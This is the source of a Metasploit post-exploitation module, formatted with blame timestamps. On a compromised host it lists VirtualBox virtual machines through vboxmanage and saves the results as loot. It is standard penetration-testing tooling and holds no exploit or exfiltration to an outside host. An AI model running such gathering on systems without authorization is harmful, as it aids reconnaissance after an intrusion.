2012-01-27 17:12:59 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2012-01-27 17:12:59 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'msf/core/post/file'
|
|
|
|
require 'yaml'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::File
|
|
|
|
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info(info,
|
|
|
|
'Name' => 'Multi Gather VirtualBox VM Enumeration',
|
2012-02-01 16:59:58 +00:00
|
|
|
'Description' => %q{
|
2012-01-27 17:12:59 +00:00
|
|
|
This module will attempt to enumerate any VirtualBox VMs on the target machine.
|
|
|
|
Due to the nature of VirtualBox, this module can only enumerate VMs registered
|
2012-02-01 16:59:58 +00:00
|
|
|
for the current user, thereforce, this module needs to be invoked from a user context.
|
2012-01-27 17:12:59 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2012-09-20 02:46:14 +00:00
|
|
|
'Author' => ['theLightCosine'],
|
2012-10-23 18:33:01 +00:00
|
|
|
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
|
2012-01-27 17:12:59 +00:00
|
|
|
'SessionTypes' => ['shell', 'meterpreter' ]
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
if session.platform =~ /win/
|
2012-06-04 19:56:27 +00:00
|
|
|
res = session.shell_command_token_win32('"c:\Program Files\Oracle\VirtualBox\vboxmanage" list -l vms') || ''
|
2012-01-27 17:12:59 +00:00
|
|
|
if res.include? "The system cannot find the path specified"
|
|
|
|
print_error "VirtualBox does not appear to be installed on this machine"
|
|
|
|
return nil
|
|
|
|
elsif res == "\n"
|
|
|
|
print_status "VirtualBox is installed but this user has no VMs registered. Try another user."
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
elsif session.platform =~ /unix|linux|bsd|osx/
|
|
|
|
res = session.shell_command('vboxmanage list -l vms')
|
|
|
|
unless res.start_with? "Sun VirtualBox"
|
|
|
|
print_error "VirtualBox does not appear to be installed on this machine"
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
unless res.include? "Name:"
|
|
|
|
print_status "VirtualBox is installed but this user has no VMs registered. Try another user."
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
print_good res
|
|
|
|
store_loot('virtualbox_vms', "text/plain", session, res, "virtualbox_vms.txt", "Virtualbox Virtual Machines")
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
end
|